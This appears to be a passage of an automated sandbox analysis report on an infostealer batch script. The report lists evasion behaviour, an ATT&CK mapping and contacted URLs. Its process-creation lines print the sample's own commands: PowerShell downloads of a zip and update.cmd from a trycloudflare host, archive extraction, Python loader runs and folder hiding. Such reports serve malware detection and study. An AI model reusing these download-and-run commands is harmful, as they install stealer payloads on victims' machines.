Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2918	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5102	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1672	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516	Thread sleep count: 6224 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep count: 2323 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5212	Thread sleep count: 6578 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3764	Thread sleep count: 2918 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3892	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2984	Thread sleep count: 5102 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4080	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2984	Thread sleep count: 1672 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4112	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000007.00000002.2603810816.000001EB2442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2604794755.000001EB29854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2604736313.000001EB29842000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000E.00000002.1559079265.000001D0FC420000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll}P
Source: powershell.exe, 00000006.00000002.1430185049.000002AEE4DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	111 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	111 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ZtefPP1HI7.cmd	45%	ReversingLabs	Script-BAT.Infostealer.HRunner

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0014.t-0009.t-msedge.net	13.107.246.42	true	false	unknown
google.com	142.250.184.206	true	false	unknown
www.google.com	142.250.184.228	true	false	unknown
spectrum-exactly-knitting-rural.trycloudflare.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://spectrum-exactly-knitting-rural.trycloudflare.com/policy.pdf	ZtefPP1HI7.cmd	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd	powershell.exe, 0000000E.00000002.1485475716.000001D0E2138000.00000004.00000020.00020000.00000000.sdmp, ZtefPP1HI7.cmd	true		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.1406828064.000002AECE2EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDC9F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDCB39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F3FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F4137000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip/N	powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmd?Nr	powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.1487885246.000001D0E41B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/a.pdf	ZtefPP1HI7.cmd	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip%NL	powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.1487885246.000001D0E41B1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000006.00000002.1406828064.000002AECDAFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E4BB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
